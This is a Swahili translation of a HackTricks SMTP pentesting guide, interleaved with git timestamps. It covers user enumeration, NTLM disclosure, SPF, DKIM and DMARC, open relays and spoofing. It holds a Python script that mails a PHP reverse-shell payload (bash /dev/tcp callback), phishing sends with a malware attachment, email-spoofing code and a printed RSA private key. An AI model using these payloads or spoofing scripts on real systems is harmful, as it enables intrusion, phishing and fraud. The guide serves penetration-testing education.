hacktricks/network-services-pentesting/pentesting-smtp/README.md

581 lines
30 KiB
Markdown
Raw Normal View History

# 25,465,587 - Kupima Usalama wa SMTP/s
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-02 18:28:27 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
2024-04-06 19:39:38 +00:00
**Usanidi wa papo hapo wa upimaji wa udhaifu & kupenyeza**. Tekeleza ukaguzi kamili kutoka mahali popote na zana & vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapenyeza - tuna
```
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
```
2024-02-11 02:13:58 +00:00
### Vichwa vya Barua pepe
Ikiwa una fursa ya **kufanya mhanga kukutumia barua pepe** (kupitia fomu ya mawasiliano kwenye ukurasa wa wavuti kwa mfano), fanya hivyo kwa sababu **unaweza kujifunza kuhusu topolojia ya ndani** ya mhanga kwa kuona vichwa vya barua pepe.
Unaweza pia kupata barua pepe kutoka kwa seva ya SMTP ikijaribu **kutuma barua pepe kwa seva hiyo kwa anwani isiyopo** (kwa sababu seva itatuma barua pepe ya NDN kwa muhusika). Lakini, hakikisha unatuma barua pepe kutoka kwa anwani iliyoruhusiwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN.
Pia unapaswa kujaribu **kutuma maudhui tofauti kwa sababu unaweza kupata habari zaidi ya kuvutia** kwenye vichwa kama: `X-Virus-Scanned: by av.domain.com`\
Unapaswa kutuma faili ya jaribio la EICAR.\
2024-02-11 02:13:58 +00:00
Kugundua **AV** inaweza kukuruhusu kutumia **mapungufu yanayojulikana.**
2024-02-11 02:13:58 +00:00
## Hatua za Msingi
### **Kupata Bana/ Uunganisho wa Msingi**
**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
```bash
2020-09-23 19:24:09 +00:00
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Kupata seva za MX za shirika
2024-02-11 02:13:58 +00:00
```bash
dig +short mx google.com
```
### Uthibitisho
2024-02-11 02:13:58 +00:00
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Kufichua Taarifa
Ikiwa server inaunga mkono NTLM auth (Windows) unaweza kupata taarifa nyeti (toleo). Taarifa zaidi [**hapa**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
2024-02-11 02:13:58 +00:00
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Au **automatize** hii na **nmap** programu-jalizi `smtp-ntlm-info.nse`
2024-02-11 02:13:58 +00:00
### Jina la seva la ndani - Kufichua taarifa
2024-02-11 02:13:58 +00:00
Baadhi ya seva za SMTP hujaza moja kwa moja anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifichua jina lake la ndani:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Kunasa
Angalia kama unanasa baadhi ya nywila kutoka kwa pakiti kwa bandari 25
### [Kuvunja nguvu ya uthibitishaji](../../generic-methodologies-and-resources/brute-force.md#smtp)
## Uorodheshaji wa Kuvunja Nguvu wa Jina la Mtumiaji
**Uthibitishaji hauhitajiki kila wakati**
2022-05-01 13:25:53 +00:00
### RCPT TO
```bash
2024-02-05 02:28:59 +00:00
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
2024-02-05 02:28:59 +00:00
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
2022-05-01 13:25:53 +00:00
### VRFY
### VRFY
2024-04-06 19:39:38 +00:00
VRFY ni amri ya SMTP ambayo inatumika kuthibitisha ikiwa anwani ya barua pepe ni sahihi kwenye seva ya barua pepe. Amri hii inaweza kutumiwa na wadukuzi kwa kuchunguza anwani za barua pepe zinazopatikana kwenye seva ya barua pepe. Kwa sababu ya hatari ya kufichua habari ya siri, VRFY mara nyingi imezimwa kwenye seva za barua pepe.
2024-02-05 02:28:59 +00:00
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
2024-02-05 02:28:59 +00:00
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
2024-02-05 02:28:59 +00:00
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
```
2022-05-01 13:25:53 +00:00
### EXPN
### KUFUNUA
2024-02-05 02:28:59 +00:00
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
2024-02-05 02:28:59 +00:00
250 2.1.5 ed.williams@myhost
EXPN sshd
2024-02-05 02:28:59 +00:00
250 2.1.5 sshd privsep sshd@myhost
```
2024-02-11 02:13:58 +00:00
### Zana za Kiotomatiki
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
2021-02-11 21:32:05 +00:00
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
2024-04-06 19:39:38 +00:00
**Mipangilio inapatikana mara moja kwa tathmini ya udhaifu na upenyezaji**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tunatengeneza zana za desturi, moduli za ugunduzi na uvamizi ili kuwapa muda wa kuchimba kwa kina, kufungua makompyuta, na kufurahi.
{% embed url="https://pentest-tools.com/" %}
## Ripoti za DSN
**Ripoti za Arifa ya Hali ya Usafirishaji**: Ikiwa unatuma **barua pepe** kwa shirika kwa **anwani isiyo halali**, shirika litakuarifu kuwa anwani ilikuwa batili kwa kutuma **barua kwako**. **Vichwa** vya barua pepe iliyorudishwa vitakuwa na **taarifa nyeti** inayowezekana (kama vile anwani ya IP ya huduma za barua pepe zilizoshirikiana na ripoti au habari za programu ya kupambana na virusi).
## [Amri](smtp-commands.md)
### Kutuma Barua pepe kutoka kwenye konsoli ya linux
2024-02-08 03:08:28 +00:00
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
2024-02-11 02:13:58 +00:00
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
2024-02-08 03:08:28 +00:00
<phishing message>
```
2021-06-01 00:43:40 +00:00
```bash
2024-02-11 02:13:58 +00:00
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
2021-06-01 00:43:40 +00:00
```
2024-02-11 02:13:58 +00:00
### Kutuma Barua pepe kwa Kutumia Python
<details>
2024-02-11 02:13:58 +00:00
<summary>Msimbo wa Python hapa</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
2021-04-22 20:44:15 +00:00
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
2021-04-22 20:44:15 +00:00
# create message object instance
2021-04-22 20:44:15 +00:00
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
2021-04-22 20:44:15 +00:00
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
2021-04-22 20:44:15 +00:00
print("[*] Payload is generated : %s" % message)
2021-04-22 20:44:15 +00:00
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
2021-04-22 20:44:15 +00:00
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
2021-04-22 20:44:15 +00:00
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
2021-04-22 20:44:15 +00:00
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
2024-04-06 19:39:38 +00:00
print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>
## Udukuzi wa SMTP
2021-04-22 20:44:15 +00:00
Udhaifu wa Udukuzi wa SMTP uliruhusu kukiuka ulinzi wote wa SMTP (angalia sehemu inayofuata kwa habari zaidi kuhusu ulinzi). Kwa habari zaidi kuhusu Udukuzi wa SMTP angalia:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}
2024-04-06 19:39:38 +00:00
## Hatua za Kupambana na Udukuzi wa Barua Pepe
Mashirika yanazuia kutumwa kwa barua pepe zisizoidhinishwa kwa niaba yao kwa kutumia **SPF**, **DKIM**, na **DMARC** kutokana na urahisi wa kudanganya ujumbe wa SMTP.
**Mwongozo kamili wa hatua hizi za kupambana** umetolewa kwenye [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
2022-05-01 13:25:53 +00:00
### SPF
{% hint style="danger" %}
SPF [ilipitwa na wakati mwaka 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Hii inamaanisha badala ya kuunda **rekodi ya TXT** katika `_spf.domain.com` unaiunda katika `domain.com` ukitumia **sintaksia ile ile**.\
Zaidi ya hayo, ili kutumia rekodi za SPF za awali ni kawaida kukutana na kitu kama `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
2023-02-07 10:56:16 +00:00
**Sender Policy Framework** (SPF) ni mbinu inayowezesha Mawakala wa Uhamishaji wa Barua (MTAs) kuthibitisha ikiwa mwenyeji anayetuma barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua pepe zilizoidhinishwa zilizoelezwa na mashirika. Orodha hii, ambayo inaeleza anwani za IP/vikoa, na miili mingine **iliyoidhinishwa kutuma barua pepe kwa niaba ya jina la kikoa**, inajumuisha "**Mbinu**" mbalimbali katika rekodi ya SPF.
2020-09-26 12:22:07 +00:00
2024-02-11 02:13:58 +00:00
#### Mbinu
2024-02-08 03:08:28 +00:00
Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mbinu | Maelezo |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Inalingana daima; hutumiwa kwa matokeo ya msingi kama `-all` kwa IPs zote ambazo hazilingani na mbinu za awali. |
| A | Ikiwa jina la kikoa lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa kwa anwani ya mtumaji, italingana. |
| IP4 | Ikiwa mtumaji yuko katika safu ya anwani ya IPv4 iliyotolewa, italingana. |
| IP6 | Ikiwa mtumaji yuko katika safu ya anwani ya IPv6 iliyotolewa, italingana. |
| MX | Ikiwa jina la kikoa lina rekodi ya MX inayotatuliwa kwa anwani ya mtumaji, italingana (yaani, barua pepe inatoka kwa moja ya seva za barua pepe zinazoingia za kikoa). |
| PTR | Ikiwa jina la kikoa (rekodi ya PTR) kwa anwani ya mteja iko katika kikoa kilichotolewa na jina hilo la kikoa linatatuliwa kwa anwani ya mteja (DNS ya nyuma iliyothibitishwa mbele), italingana. Mbinu hii haipendekezwi na inapaswa kuepukwa, ikiwezekana. |
| EXISTS | Ikiwa jina la kikoa lililotolewa linatatuliwa kwa anwani yoyote, italingana (bila kujali anwani inayotatuliwa). Hii hutumiwa mara chache. Pamoja na lugha ya SPF macro inatoa mechi ngumu zaidi kama vile kuuliza DNSBL. |
| INCLUDE | Inahusisha sera ya kikoa kingine. Ikiwa sera ya kikoa hicho inapita, mbinu hii inapita. Walakini, ikiwa sera iliyohusishwa inashindwa, usindikaji unaendelea. Ili kumwachia kabisa sera ya kikoa kingine, lazima kutumike kifaa cha kuhamisha. |
| REDIRECT | <p>Kuhamisha ni kiashiria kwa jina lingine la kikoa ambalo lina sera ya SPF, inaruhusu vikoa vingi kushiriki sera moja ya SPF. Ni muhimu wakati unafanya kazi na idadi kubwa ya vikoa vinavyoshiriki miundombinu sawa ya barua pepe.</p><p>Sera ya SPF ya kikoa kilichotajwa katika Mbinu ya kuhamisha itatumika.</p> |
2020-09-26 12:22:07 +00:00
Pia ni rahisi kutambua **Viashiria** vinavyoonyesha **nini cha kufanya ikiwa mbinu inalingana**. Kwa kawaida, **viashiria "+"** hutumiwa (hivyo ikiwa mbinu yoyote inalingana, hii inamaanisha imeidhinishwa).\
Kawaida utaona **mwishoni mwa kila sera ya SPF** kitu kama: **\~all** au **-all**. Hii hutumiwa kuonyesha kwamba **ikiwa mtumaji halingani na sera yoyote ya SPF, unapaswa kuiweka barua pepe kama isiyoaminika (\~) au kukataa (-) barua pepe.**
2020-09-26 12:22:07 +00:00
#### Viashiria
2020-09-26 12:22:07 +00:00
Kila mbinu ndani ya sera inaweza kuongezewa na moja ya viashiria vinne kufafanua matokeo yanayokusudiwa:
2020-09-26 12:22:07 +00:00
* **`+`**: Inalingana na matokeo ya PASS. Kwa kawaida, mbinu huchukulia viashiria hivi, hivyo `+mx` inalingana na `mx`.
* **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa kwa njia sawa na NONE (hakuna sera maalum).
* **`~`**: Inaonyesha SOFTFAIL, ikiwa kama eneo la kati kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida hukubaliwa lakini zinatambuliwa ipasavyo.
* **`-`**: Inaonyesha FAIL, ikipendekeza kuwa barua pepe inapaswa kukataliwa moja kwa moja.
Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Tafadhali kumbuka uingizaji wa sera za SPF kutoka vikoa tofauti ndani ya sera ya SPF ya kwanza:
2022-10-12 12:28:51 +00:00
```shell-session
2024-02-05 02:28:59 +00:00
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Kihistoria ilikuwa inawezekana kughushi jina lolote la kikoa ambalo halikuwa na rekodi sahihi/au yoyote ya SPF. **Leo hii**, ikiwa **barua pepe** inatoka kwa **kikoa bila rekodi sahihi ya SPF**, inaweza **kukataliwa/kuashiriwa kama isiyoaminika moja kwa moja**.
Kuongeza SPF ya kikoa unaweza kutumia zana za mtandaoni kama: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM (DomainKeys Identified Mail)
DKIM hutumiwa kusaini barua pepe za kutoka, kuruhusu uthibitisho wao na Wajumbe wa Uhamishaji wa Barua (MTAs) kupitia upatikanaji wa ufunguo wa umma wa kikoa kutoka kwa DNS. Ufunguo huu wa umma uko kwenye rekodi ya TXT ya kikoa. Ili kupata ufunguo huu, mtu lazima ajue chaguzi zote mbili, yaani chagua na jina la kikoa.
2024-02-05 02:28:59 +00:00
Kwa mfano, ili kuomba ufunguo, jina la kikoa na chaguzi ni muhimu. Hizi zinaweza kupatikana kwenye kichwa cha barua pepe `DKIM-Signature`, k.m., `d=gmail.com;s=20120113`.
2024-02-11 02:13:58 +00:00
Amri ya kupata habari hii inaweza kuonekana kama:
2022-10-12 12:28:51 +00:00
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
2024-02-05 02:28:59 +00:00
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC inaboresha usalama wa barua pepe kwa kujenga kwenye itifaki za SPF na DKIM. Inaelezea sera zinazoongoza seva za barua pepe katika kushughulikia barua pepe kutoka kwenye kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia makosa ya uwakilishi na wapi kutuma ripoti kuhusu hatua za usindikaji wa barua pepe.
2024-02-11 02:13:58 +00:00
**Ili kupata rekodi ya DMARC, unahitaji kuuliza subdomain \_dmarc**
2024-02-05 02:28:59 +00:00
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
2020-09-26 10:54:55 +00:00
2024-02-05 02:28:59 +00:00
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
2020-09-26 10:54:55 +00:00
2024-02-05 02:28:59 +00:00
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### Vitambulisho vya DMARC
| Jina la Tag | Madhumuni | Sampuli |
| -------- | --------------------------------------------- | ------------------------------- |
| v | Toleo la Itifaki | v=DMARC1 |
| pct | Asilimia ya ujumbe unaofanyiwa uchujaji | pct=20 |
| ruf | URI ya Ripoti za Uchunguzi wa Kiforensiki | ruf=mailto:authfail@example.com |
| rua | URI ya Ripoti za Pamoja za Uchunguzi | rua=mailto:aggrep@example.com |
| p | Sera kwa Kikoa cha Shirika | p=quarantine |
| sp | Sera kwa Subdomains ya Kikoa cha Shirika | sp=reject |
| adkim | Mode ya Ulinganifu kwa DKIM | adkim=s |
| aspf | Mode ya Ulinganifu kwa SPF | aspf=r |
2024-02-11 02:13:58 +00:00
### **Vipi kuhusu Subdomains?**
2024-02-11 02:13:58 +00:00
**Kutoka** [**hapa**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Unahitaji kuwa na rekodi tofauti za SPF kwa kila subdomain unayotaka kutuma barua pepe kutoka.\
Yafuatayo yalichapishwa awali kwenye openspf.org, ambayo hapo awali ilikuwa rasilimali kuu kwa aina hii ya mambo.
2024-02-11 02:13:58 +00:00
> Swali la Demon: Vipi kuhusu subdomains?
>
> Ikiwa napokea barua pepe kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je niende nyuma kwenye kiwango kimoja na kuthibitisha SPF kwa demon.co.uk? Hapana. Kila subdomain kwa Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera yake mwenyewe. Isingekuwa na maana kwa sera ya Demon kutumika kwa wateja wake wote kwa chaguo-msingi; ikiwa Demon anataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain.
>
> Kwa hivyo ushauri kwa wachapishaji wa SPF ni huu: unapaswa kuongeza rekodi ya SPF kwa kila subdomain au jina la mwenyeji lenye rekodi ya A au MX.
>
> Maeneo yenye rekodi za A au MX za jumla pia yanapaswa kuwa na rekodi ya SPF ya jumla, ya aina: \* IN TXT "v=spf1 -all"
2020-09-26 12:22:07 +00:00
Hii ina maana - subdomain inaweza kuwa mahali tofauti kabisa kijiografia na kuwa na ufafanuzi wa SPF tofauti sana.
2020-09-26 12:22:07 +00:00
### **Kituo cha Wazi**
2022-10-02 21:10:53 +00:00
Wakati barua pepe zinatumwa, kuhakikisha hazitachukuliwa kama barua taka ni muhimu. Hii mara nyingi hufanikiwa kupitia matumizi ya **seva ya kituo cha kuhamisha ambayo inaaminika na mpokeaji**. Walakini, changamoto kuu ni kwamba wasimamizi wanaweza kutokuwa na ufahamu kamili wa ni **vipimo vya IP salama kuruhusu**. Ukosefu huu wa ufahamu unaweza kusababisha makosa katika kuweka seva ya SMTP, hatari ambayo mara nyingi hufahamishwa katika tathmini za usalama.
2022-10-02 21:10:53 +00:00
Mbinu ambayo baadhi ya wasimamizi hutumia kuepuka matatizo ya utoaji wa barua pepe, haswa kuhusu mawasiliano na wateja watarajiwa au wanaoendelea, ni **kuruhusu mawasiliano kutoka kwa anwani yoyote ya IP**. Hii hufanywa kwa kusanidi parameter ya `mynetworks` ya seva ya SMTP kukubali anwani zote za IP, kama inavyoonekana hapa chini:
2024-02-05 02:28:59 +00:00
```bash
2022-10-02 21:10:53 +00:00
mynetworks = 0.0.0.0/0
```
Kwa kuchunguza ikiwa seva ya barua pepe ni kituo cha wazi (ambayo inamaanisha inaweza kusambaza barua pepe kutoka kwa chanzo chochote kigeni), zana ya `nmap` hutumiwa kawaida. Inajumuisha script maalum iliyoundwa kwa kusudi hili. Amri ya kufanya uchunguzi wa kina kwenye seva (kwa mfano, na IP 10.10.10.10) kwenye bandari 25 ukitumia `nmap` ni:
2022-10-02 21:10:53 +00:00
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Vifaa**
2024-04-06 19:39:38 +00:00
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Angalia kwa ajili ya SPF na DMARC misconfigurations**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Pata moja kwa moja mizunguko ya SPF na DMARC**
2024-02-05 02:28:59 +00:00
### Tuma Barua pepe ya Uongo
2022-10-12 12:28:51 +00:00
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
2023-02-07 10:56:16 +00:00
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
2024-02-08 03:08:28 +00:00
* [**https://emkei.cz/**](https://emkei.cz/)
2022-10-12 12:28:51 +00:00
**Au unaweza kutumia chombo:**
2022-10-12 12:28:51 +00:00
2024-02-08 03:08:28 +00:00
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
2022-10-12 12:28:51 +00:00
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Ikiwa unapata **kosa lolote unapotumia dkim python lib** kuchambua ufunguo, jisikie huru kutumia huu ufuatao.\
**TAARIFA**: Hii ni marekebisho ya haraka tu kufanya ukaguzi wa haraka katika hali ambapo kwa sababu fulani ufunguo binafsi wa openssl **hauwezi kuchambuliwa na dkim**.
2022-10-12 12:28:51 +00:00
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}
2022-10-12 12:28:51 +00:00
2024-02-11 02:13:58 +00:00
**Au unaweza kufanya hivyo kwa mkono:**
2022-10-12 12:28:51 +00:00
{% tabs %}
{% tab title="PHP" %}
2024-02-11 02:13:58 +00:00
<pre class="language-php"><code class="lang-php"><strong># Hii itatuma ujumbe usio na saini
</strong><strong>mail("your_email@gmail.com", "Mada ya Majaribio!", "hey! Hii ni majaribio", "From: administrator@victim.com");
2023-02-07 10:56:16 +00:00
</strong></code></pre>
{% endtab %}
2022-10-12 12:28:51 +00:00
{% tab title="Python" %}
2022-10-12 12:28:51 +00:00
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
2024-02-11 02:13:58 +00:00
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
2022-10-12 12:28:51 +00:00
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
2024-02-11 02:13:58 +00:00
dkim_private_key = fh.read()
